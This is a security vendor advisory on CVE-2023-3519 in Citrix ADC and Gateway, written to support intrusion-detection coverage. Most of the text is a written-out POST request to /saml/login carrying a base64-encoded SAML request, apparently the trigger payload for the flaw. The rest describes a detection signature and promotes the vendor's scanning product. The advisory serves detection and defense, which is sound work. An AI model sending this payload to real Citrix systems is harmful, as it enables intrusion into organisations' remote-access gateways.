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Citrix ADC and Gateway Code Execution (CVE-2023-3519)




Application Details

Citrix Gateway provides an authentication mechanism for remote device access, and Citrix ADC provides load balancing.


Vulnerability

Citrix ADC and Gateway could allow a remote attacker to execute arbitrary code on the system.


Identification

If configured as a Gateway, be it a VPN virtual server, ICA Proxy, CVPN, or RDP Proxy, or an AAA virtual server, an attacker could exploit this vulnerability to execute arbitrary code on the system.


POST /saml/login

PAYLOAD -
SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0icGZ4NDFkOGVmMjItZTYxMi04YzUwLTk5NjAtMWIxNmYxNTc0MWIzIiBWZXJzaW9uPSIyLjAiIFByb3ZpZGVyTmFtZT0iU1AgdGVzdCIgRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIFByb3RvY29sQmluZGluZz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmJpbmRpbmdzOkhUVFAtUE9TVCIgQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSJodHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcyI%2BCiAgPHNhbWw6SXNzdWVyPkE8L3NhbWw6SXNzdWVyPgogIDxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPgogICAgPGRzOlNpZ25lZEluZm8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjcnNhLXNoYTEiLz4KICAgICAgPGRzOlJlZmVyZW5jZSBVUkk9IiNwZng0MWQ4ZWYyMi1lNjEyLThjNTAtOTk2MC0xYjE2ZjE1NzQxYjMiPgogICAgICAgIDxkczpUcmFuc2Zvcm1zPgogICAgICAgICAgPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BCiAgICAgICAgICA8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgICAgPC9kczpUcmFuc2Zvcm1zPgogICAgICAgIDxkczpEaWdlc3RWYWx1ZT5BPC9kczpEaWdlc3RWYWx1ZT4KICAgICAgPC9kczpSZWZlcmVuY2U%2BCiAgICA8L2RzOlNpZ25lZEluZm8%2BCiAgICA8ZHM6U2lnbmF0dXJlVmFsdWU%2BQTwvZHM6U2lnbmF0dXJlVmFsdWU%2BCiAgPC9kczpTaWduYXR1cmU%2BCiAgPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KICA8c2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0IENvbXBhcmlzb249ImV4YWN0Ij4KICAgIDxzYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9zYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPgogIDwvc2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0Pgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3D

Detection

By turning this into a traffic file and matching rule, we are able to detect attempts to execute arbitrary code on the system.


Coverage

Idappcom have created signature 8024048 along with a traffic file for this vulnerability.


References


Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional

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